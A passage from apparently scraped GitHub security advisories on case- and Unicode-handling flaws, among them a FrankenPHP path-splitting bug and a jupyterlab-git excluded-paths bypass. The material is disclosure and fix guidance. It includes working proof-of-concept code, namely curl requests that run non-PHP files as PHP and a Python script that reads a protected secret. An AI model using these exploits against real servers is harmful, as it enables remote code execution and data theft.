└── poc-search-norm.𝗽𝗵𝗽 # contains <?php echo "marker=flaw2\n"; ?>
docker run --rm -d --name frankenphp-poc \
-p 18080:8080 \
-v "$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro" \
-v "$(pwd)/public:/app/public" \
dunglas/frankenphp:latest
# baseline (correctly fails to map a .txt or non-php file to PHP)
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm/trigger"
# flaw 1 — runs poc-match-unset.¡. as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger"
# flaw 2 — runs poc-search-norm.𝗽𝗵𝗽 as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"
Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.
Impact
Comparable in shape to CVE-2026-24895 but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors, etc. — the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).
Patch
Both flaws share a single fix: drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path.
Credit
Both flaws were reported by @KC1zs4.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.12.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/dunglas/frankenphp"
},
"ranges": [
{
"events": [
{
"introduced": "1.11.2"
},
{
"fixed": "1.12.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45062"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-178",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T17:09:46Z",
"nvd_published_at": "2026-06-10T18:16:57Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `splitPos()` function in [`cgi.go`](https://github.com/php/frankenphp/blob/main/cgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-`.php` file as a `.php` script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.\n\nThis advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.\n\n### Details\n\n```go\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\nfunc splitPos(path string, splitPath []string) int {\n\tif len(splitPath) == 0 {\n\t\treturn 0\n\t}\n\tpathLen := len(path)\n\tfor _, split := range splitPath {\n\t\tsplitLen := len(split)\n\t\tfor i := 0; i \u003c pathLen; i++ {\n\t\t\tif path[i] \u003e= utf8.RuneSelf {\n\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\treturn end\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif i+splitLen \u003e pathLen {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatch := true\n\t\t\tfor j := 0; j \u003c splitLen; j++ {\n\t\t\t\tc := path[i+j]\n\t\t\t\tif c \u003e= utf8.RuneSelf {\n\t\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\t\treturn end\n\t\t\t\t\t}\n\t\t\t\t\tbreak // \u003c-- flaw 1: \u0027match\u0027 is still true\n\t\t\t\t}\n\t\t\t\tif \u0027A\u0027 \u003c= c \u0026\u0026 c \u003c= \u0027Z\u0027 {\n\t\t\t\t\tc += \u0027a\u0027 - \u0027A\u0027\n\t\t\t\t}\n\t\t\t\tif c != split[j] {\n\t\t\t\t\tmatch = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif match {\n\t\t\t\treturn i + splitLen\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}\n```\n\n#### Flaw 1 \u2014 Control-flow: stale `match` after inner non-ASCII fallback\n\nIn the inner `for j` loop, when a byte satisfies `c \u003e= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if `.php` had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.\u003cU+00A1\u003e.txt` gets routed as PHP.\n\n#### Flaw 2 \u2014 Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII\n\n`search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `\ufe52php`, `\uff0ephp`, `.\uff50hp`, `.\u24df\u24d7\u24df`, `.\ud835\uddfd\ud835\uddf5\ud835\uddfd`, `.\ud835\udcc5\ud835\udcbd\ud835\udcc5`, `.\ud835\udd95\ud835\udd8d\ud835\udd95`, etc. is reported as `.php`.\n\nBoth flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case split entry against an arbitrary path. `WithRequestSplitPath` already guarantees every entry is ASCII and lower-cased, so any byte `\u003e= utf8.RuneSelf` in the path can never be part of a legitimate match \u2014 but the fallback ignored that guarantee.\n\n### PoC\n\nStandalone reproducer (copy `splitPos` from `cgi.go` verbatim, plus the imports):\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"unicode/utf8\"\n\n\t\"golang.org/x/text/language\"\n\t\"golang.org/x/text/search\"\n)\n\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\n// ... splitPos copied verbatim from cgi.go ...\n\nfunc main() {\n\tsplit := []string{\".php\"}\n\tpayloads := []string{\n\t\t// flaw 1\n\t\t\"/PoC-match-unset.txt\", // expected: -1\n\t\t\"/PoC-match-unset.\u00a1.txt\", // expected: -1, actual: 20\n\n\t\t// flaw 2\n\t\t\"/shell\ufe52php\", // \ufe52 small full stop\n\t\t\"/shell\uff0ephp\", // \uff0e fullwidth full stop\n\t\t\"/shell.\uff50hp\", // \uff50 fullwidth p\n\t\t\"/shell.p\uff48p\", // \uff48 fullwidth h\n\t\t\"/shell.\u24df\u24d7\u24df\", // \u24df\u24d7\u24df circled\n\t\t\"/shell.\\U0001D5FD\\U0001D5F5\\U0001D5FD\", // \ud835\uddfd\ud835\uddf5\ud835\uddfd mathematical sans-serif bold\n\t\t\"/shell.\\U0001D4C5\\U0001D4BD\\U0001D4C5\", // \ud835\udcc5\ud835\udcbd\ud835\udcc5 mathematical script\n\t\t\"/shell.\u24df\u24d7\u24df.anything-after-payload.php\",\n\t}\n\tfor _, p := range payloads {\n\t\tfmt.Printf(\"%-50s : %d\\n\", p, splitPos(p, split))\n\t}\n}\n```\n\nRun `go run poc.go`:\n\n```text\n/PoC-match-unset.txt : -1\n/PoC-match-unset.\u00a1.txt : 20\n/shell\ufe52php : 12\n/shell\uff0ephp : 12\n/shell.\uff50hp : 12\n/shell.p\uff48p : 12\n/shell.\u24df\u24d7\u24df : 16\n/shell.\ud835\uddfd\ud835\uddf5\ud835\uddfd : 19\n/shell.\ud835\udcc5\ud835\udcbd\ud835\udcc5 : 19\n/shell.\u24df\u24d7\u24df.anything-after-payload.php : 16\n```\n\nEvery value other than `-1` is a wrong answer: `splitPos` claims `.php` was matched at the printed offset, so `SCRIPT_FILENAME` is set to the corresponding non-PHP file (which PHP then loads and executes).\n\n#### End-to-end demo\n\nDirectory layout:\n\n```\n.\n\u251c\u2500\u2500 Caddyfile # `:8080 { root * /app/public; php }`\n\u2514\u2500\u2500 public/\n \u251c\u2500\u2500 index.php\n \u251c\u2500\u2500 poc-match-unset.\u00a1. # contains \u003c?php echo \"marker=flaw1\\n\"; ?\u003e\n \u2514\u2500\u2500 poc-search-norm.\ud835\uddfd\ud835\uddf5\ud835\uddfd # contains \u003c?php echo \"marker=flaw2\\n\"; ?\u003e\n```\n\n```bash\ndocker run --rm -d --name frankenphp-poc \\\n -p 18080:8080 \\\n -v \"$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro\" \\\n -v \"$(pwd)/public:/app/public\" \\\n dunglas/frankenphp:latest\n\n# baseline (correctly fails to map a .txt or non-php file to PHP)\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-match-unset.txt/trigger\"\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-search-norm/trigger\"\n\n# flaw 1 \u2014 runs poc-match-unset.\u00a1. as PHP\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger\"\n\n# flaw 2 \u2014 runs poc-search-norm.\ud835\uddfd\ud835\uddf5\ud835\uddfd as PHP\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger\"\n```\n\nBoth crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files.\n\n### Impact\n\nComparable in shape to [CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds \u2014 common in upload endpoints, user-content stores, package mirrors, etc. \u2014 the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 High (8.1).\n\n### Patch\n\nBoth flaws share a single fix: drop the `golang.org/x/text/search` fallback entirely and treat any byte `\u003e= utf8.RuneSelf` in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path.\n\n### Credit\n\nBoth flaws were reported by @KC1zs4.",
"id": "GHSA-3g8v-8r37-cgjm",
"modified": "2026-06-10T18:41:15Z",
"published": "2026-05-15T17:09:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45062"
},
{
"type": "WEB",
"url": "https://github.com/php/frankenphp/commit/2d0f480329a02571d6f635dad9fdb066e1a11e81"
},
{
"type": "PACKAGE",
"url": "https://github.com/php/frankenphp"
},
{
"type": "WEB",
"url": "https://github.com/php/frankenphp/releases/tag/v1.12.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files"
}
GHSA-3HG4-F93V-22HP
Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08uploads/include/dialog/select_soft.php in DedeCMS V57_UTF8_SP2 allows remote attackers to execute arbitrary PHP code by uploading with a safe file extension and then renaming with a mixed-case variation of the .php extension, as demonstrated by the 1.pHP filename.
{
"affected": [],
"aliases": [
"CVE-2019-6289"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-15T07:29:00Z",
"severity": "HIGH"
},
"details": "uploads/include/dialog/select_soft.php in DedeCMS V57_UTF8_SP2 allows remote attackers to execute arbitrary PHP code by uploading with a safe file extension and then renaming with a mixed-case variation of the .php extension, as demonstrated by the 1.pHP filename.",
"id": "GHSA-3hg4-f93v-22hp",
"modified": "2022-05-13T01:08:15Z",
"published": "2022-05-13T01:08:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6289"
},
{
"type": "WEB",
"url": "https://laolisafe.com/dedecms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3P86-9955-H393
Vulnerability from github – Published: 2023-09-18 15:30 – Updated: 2024-04-11 19:37Arbitrary File Overwrite in Eclipse JGit <= 6.6.0
In Eclipse JGit, all versions <= 6.6.0.202305301015-r, a symbolic link present in a specially crafted git repository can be used to write a file to locations outside the working tree when this repository is cloned with JGit to a case-insensitive filesystem, or when a checkout from a clone of such a repository is performed on a case-insensitive filesystem.
This can happen on checkout (DirCacheCheckout), merge (ResolveMerger via its WorkingTreeUpdater), pull (PullCommand using merge), and when applying a patch (PatchApplier). This can be exploited for remote code execution (RCE), for instance if the file written outside the working tree is a git filter that gets executed on a subsequent git command.
The issue occurs only on case-insensitive filesystems, like the default filesystems on Windows and macOS. The user performing the clone or checkout must have the rights to create symbolic links for the problem to occur, and symbolic links must be enabled in the git configuration.
Setting git configuration option core.symlinks = false before checking out avoids the problem.
The issue was fixed in Eclipse JGit version 6.6.1.202309021850-r and 6.7.0.202309050840-r, available via Maven Central https://repo1.maven.org/maven2/org/eclipse/jgit/ and repo.eclipse.org https://repo.eclipse.org/content/repositories/jgit-releases/ . A backport is available in 5.13.3 starting from 5.13.3.202401111512-r.
The JGit maintainers would like to thank RyotaK for finding and reporting this issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.6.0.202305301015-r"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jgit:org.eclipse.jgit"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0.202111291000-r"
},
{
"fixed": "6.6.1.202309021850-r"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jgit:org.eclipse.jgit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.13.3.202401111512-r"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-4759"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-18T19:17:54Z",
"nvd_published_at": "2023-09-12T10:15:29Z",
"severity": "HIGH"
},
"details": "Arbitrary File Overwrite in Eclipse JGit \u003c= 6.6.0\n\nIn Eclipse JGit, all versions \u003c= 6.6.0.202305301015-r, a symbolic link present in a specially crafted git repository can be used to write a file to locations outside the working tree when this repository is cloned with JGit to a case-insensitive filesystem, or when a checkout from a clone of such a repository is performed on a case-insensitive filesystem.\n\nThis can happen on checkout (DirCacheCheckout), merge (ResolveMerger\u00a0via its WorkingTreeUpdater), pull (PullCommand\u00a0using merge), and when applying a patch (PatchApplier). This can be exploited for remote code execution (RCE), for instance if the file written outside the working tree is a git filter that gets executed on a subsequent git command.\n\nThe issue occurs only on case-insensitive filesystems, like the default filesystems on Windows and macOS. The user performing the clone or checkout must have the rights to create symbolic links for the problem to occur, and symbolic links must be enabled in the git configuration.\n\nSetting git configuration option core.symlinks = false\u00a0before checking out avoids the problem.\n\nThe issue was fixed in Eclipse JGit version 6.6.1.202309021850-r and 6.7.0.202309050840-r, available via Maven Central https://repo1.maven.org/maven2/org/eclipse/jgit/ \u00a0and repo.eclipse.org https://repo.eclipse.org/content/repositories/jgit-releases/ . A backport is available in 5.13.3 starting from 5.13.3.202401111512-r.\n\nThe JGit maintainers would like to thank RyotaK for finding and reporting this issue.\n\n\n\n",
"id": "GHSA-3p86-9955-h393",
"modified": "2024-04-11T19:37:35Z",
"published": "2023-09-18T15:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4759"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-jgit/jgit/issues/30"
},
{
"type": "PACKAGE",
"url": "https://git.eclipse.org/c/jgit/jgit.git"
},
{
"type": "WEB",
"url": "https://git.eclipse.org/c/jgit/jgit.git/commit/?id=9072103f3b3cf64dd12ad2949836ab98f62dabf1"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/11"
},
{
"type": "WEB",
"url": "https://projects.eclipse.org/projects/technology.jgit/releases/5.13.3"
},
{
"type": "WEB",
"url": "https://projects.eclipse.org/projects/technology.jgit/releases/6.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary File Overwrite in Eclipse JGit "
}
GHSA-3VGV-PGWC-8F57
Vulnerability from github – Published: 2022-04-30 18:16 – Updated: 2024-02-02 03:30Apache on MacOS X Client 10.0.3 with the HFS+ file system allows remote attackers to bypass access restrictions via a URL that contains some characters whose case is not matched by Apache's filters.
{
"affected": [],
"aliases": [
"CVE-2001-0766"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2001-10-18T04:00:00Z",
"severity": "HIGH"
},
"details": "Apache on MacOS X Client 10.0.3 with the HFS+ file system allows remote attackers to bypass access restrictions via a URL that contains some characters whose case is not matched by Apache\u0027s filters.",
"id": "GHSA-3vgv-pgwc-8f57",
"modified": "2024-02-02T03:30:30Z",
"published": "2022-04-30T18:16:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2001-0766"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2001-06/0090.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/2852"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3W57-6469-585X
Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2022-05-13 01:53Etherpad Lite before 1.6.4 is exploitable for admin access.
{
"affected": [],
"aliases": [
"CVE-2018-9845"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-29T18:29:00Z",
"severity": "CRITICAL"
},
"details": "Etherpad Lite before 1.6.4 is exploitable for admin access.",
"id": "GHSA-3w57-6469-585x",
"modified": "2022-05-13T01:53:56Z",
"published": "2022-05-13T01:53:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9845"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad-lite/commit/ffe24c3dd93efc73e0cbf924db9a0cc40be9511b"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad-lite/blob/develop/CHANGELOG.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-436Q-JWFR-RM2H
Vulnerability from github – Published: 2026-06-19 19:36 – Updated: 2026-06-19 19:36Summary
jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.
Vulnerable Code
# jupyterlab_git/handlers.py:84-92
async def prepare(self):
"""Check if the path should be skipped"""
await ensure_async(super().prepare())
path = self.path_kwargs.get("path")
if path is not None:
excluded_paths = self.git.excluded_paths
for excluded_path in excluded_paths:
if fnmatch.fnmatchcase(path, excluded_path): # ← always case-sensitive
raise tornado.web.HTTPError(404)
Root Cause
fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.
fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check
On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.
Impact
An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:
- Read file content at any git ref (
/contentendpoint) - Read working tree files in the excluded directory
- View git status, log, diff on the excluded path
- Enumerate commits touching excluded files
Attack Scenario
- Admin configures
c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"] - Normal request
POST /git/project/secrets/status→ HTTP 404 (blocked) - Attacker requests
POST /git/project/Secrets/status→ HTTP 200 (bypass) - Attacker reads secret:
POST /git/project/Secrets/contentwith{"filename": "./cred.txt", "reference": {"git": "HEAD"}}→ file content returned
Exploit
See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.
import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error
from jupyterlab_git.handlers import GitHandler # real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core
PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"
def post(path_seg, endpoint, body=None):
url = f"{BASE_URL}/git/{path_seg}{endpoint}"
data = json.dumps(body or {}).encode()
req = urllib.request.Request(url, data=data, method="POST",
headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
try:
resp = urllib.request.urlopen(req, timeout=10)
return resp.status, json.loads(resp.read())
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
def main():
base_dir = tempfile.mkdtemp(prefix="jlgit_")
workspace = os.path.join(base_dir, "workspace")
repo_dir = os.path.join(workspace, "project")
secret_dir = os.path.join(repo_dir, "secrets")
os.makedirs(secret_dir)
with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
f.write(SECRET + "\n")
git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
"GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
capture_output=True, check=True, env=git_env)
config_path = os.path.join(base_dir, "jupyter_server_config.py")
with open(config_path, "w") as f:
f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
f.write(f'c.ServerApp.token = "{TOKEN}"\n')
f.write(f'c.ServerApp.open_browser = False\n')
f.write(f'c.ServerApp.port = {PORT}\n')
f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
f.write(f'c.ServerApp.disable_check_xsrf = True\n')
f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')
env = os.environ.copy()
env["JUPYTER_CONFIG_DIR"] = base_dir
env["JUPYTER_DATA_DIR"] = base_dir
proc = subprocess.Popen(
[sys.executable, "-m", "jupyter_server", f"--config={config_path}",
"--ServerApp.jpserver_extensions={'jupyterlab_git': True}"],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)
for _ in range(30):
try:
req = urllib.request.Request(f"{BASE_URL}/api/status",
headers={"Authorization": f"token {TOKEN}"})
if urllib.request.urlopen(req, timeout=2).status == 200:
break
except (urllib.error.URLError, OSError):
pass
time.sleep(0.5)
else:
proc.kill()
shutil.rmtree(base_dir, ignore_errors=True)
sys.exit("server failed to start")
try:
# exclusion works
code, _ = post("project/secrets", "/status")
blocked = code == 404
# bypass
code, _ = post("project/Secrets", "/status")
bypassed = code == 200
# exfiltrate
code, body = post("project/Secrets", "/content",
{"filename": "./cred.txt", "reference": {"git": "HEAD"}})
content = body.get("content", "") if isinstance(body, dict) else ""
exfiltrated = SECRET in content
ok = blocked and bypassed and exfiltrated
print(f"exclusion enforced (lowercase): {blocked}")
print(f"bypass (case-varied): {bypassed}")
print(f"secret exfiltrated: {exfiltrated}")
print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}")
return ok
finally:
proc.terminate()
proc.wait(timeout=5)
shutil.rmtree(base_dir, ignore_errors=True)
if __name__ == "__main__":
sys.exit(0 if main() else 1)
pip install 'jupyterlab-git==0.53.0'
python poc.py
Fix
if fnmatch.fnmatch(path.lower(), excluded_path.lower()):
raise tornado.web.HTTPError(404)
Or apply os.path.normcase() to both operands before comparison.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.53.0"
},
"package": {
"ecosystem": "PyPI",
"name": "jupyterlab-git"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.54.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54528"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T19:36:22Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`jupyterlab-git` 0.53.0 (latest, 2026-04-30) uses `fnmatch.fnmatchcase()` in `GitHandler.prepare()` (`jupyterlab_git/handlers.py:91`) to enforce the admin-configured `excluded_paths` security control. Because `fnmatchcase` is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment \u2014 e.g. requesting `/git/project/Secrets/...` instead of `/git/project/secrets/...` \u2014 gaining read access to git history, file content, and status in directories the administrator explicitly excluded.\n\n## Vulnerable Code\n\n```python\n# jupyterlab_git/handlers.py:84-92\nasync def prepare(self):\n \"\"\"Check if the path should be skipped\"\"\"\n await ensure_async(super().prepare())\n path = self.path_kwargs.get(\"path\")\n if path is not None:\n excluded_paths = self.git.excluded_paths\n for excluded_path in excluded_paths:\n if fnmatch.fnmatchcase(path, excluded_path): # \u2190 always case-sensitive\n raise tornado.web.HTTPError(404)\n```\n\n## Root Cause\n\n`fnmatch.fnmatchcase()` is unconditionally case-sensitive regardless of the operating system. Contrast with `fnmatch.fnmatch()` which normalizes via `os.path.normcase()` on case-insensitive platforms.\n\n```python\nfnmatch.fnmatchcase(\"/project/secrets\", \"/project/secrets\") # True \u2014 blocked\nfnmatch.fnmatchcase(\"/project/Secrets\", \"/project/secrets\") # False \u2014 bypasses check\n```\n\nOn macOS APFS and Windows NTFS, `/project/Secrets` and `/project/secrets` resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream `url2localpath()` resolves the case-varied path to the same filesystem location.\n\n## Impact\n\nAn authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured `excluded_paths` by varying the case of the URL path segment. This grants:\n\n- Read file content at any git ref (`/content` endpoint)\n- Read working tree files in the excluded directory\n- View git status, log, diff on the excluded path\n- Enumerate commits touching excluded files\n\n## Attack Scenario\n\n1. Admin configures `c.JupyterLabGit.excluded_paths = [\"/project/secrets\", \"/project/secrets/*\"]`\n2. Normal request `POST /git/project/secrets/status` \u2192 HTTP 404 (blocked)\n3. Attacker requests `POST /git/project/Secrets/status` \u2192 HTTP 200 (bypass)\n4. Attacker reads secret: `POST /git/project/Secrets/content` with `{\"filename\": \"./cred.txt\", \"reference\": {\"git\": \"HEAD\"}}` \u2192 file content returned\n\n## Exploit\n\nSee `poc.py`. Starts a real jupyter-server with jupyterlab-git loaded, configures `excluded_paths`, and demonstrates bypass + exfiltration via HTTP.\n```python\nimport json, os, shutil, subprocess, sys, tempfile, time\nimport urllib.request, urllib.error\n\nfrom jupyterlab_git.handlers import GitHandler # real import, no mock\nfrom jupyterlab_git_core.git import Git\nimport jupyterlab_git_core\n\nPORT = 18895\nTOKEN = \"xtoken\"\nBASE_URL = f\"http://127.0.0.1:{PORT}\"\nSECRET = \"sk-PROD-a8f2x9q-LIVE-KEY\"\n\n\ndef post(path_seg, endpoint, body=None):\n url = f\"{BASE_URL}/git/{path_seg}{endpoint}\"\n data = json.dumps(body or {}).encode()\n req = urllib.request.Request(url, data=data, method=\"POST\",\n headers={\"Authorization\": f\"token {TOKEN}\", \"Content-Type\": \"application/json\"})\n try:\n resp = urllib.request.urlopen(req, timeout=10)\n return resp.status, json.loads(resp.read())\n except urllib.error.HTTPError as e:\n return e.code, e.read().decode()\n\n\ndef main():\n base_dir = tempfile.mkdtemp(prefix=\"jlgit_\")\n workspace = os.path.join(base_dir, \"workspace\")\n repo_dir = os.path.join(workspace, \"project\")\n secret_dir = os.path.join(repo_dir, \"secrets\")\n os.makedirs(secret_dir)\n\n with open(os.path.join(secret_dir, \"cred.txt\"), \"w\") as f:\n f.write(SECRET + \"\\n\")\n\n git_env = {**os.environ, \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@x\",\n \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@x\"}\n subprocess.run([\"git\", \"init\"], cwd=repo_dir, capture_output=True, check=True)\n subprocess.run([\"git\", \"add\", \".\"], cwd=repo_dir, capture_output=True, check=True)\n 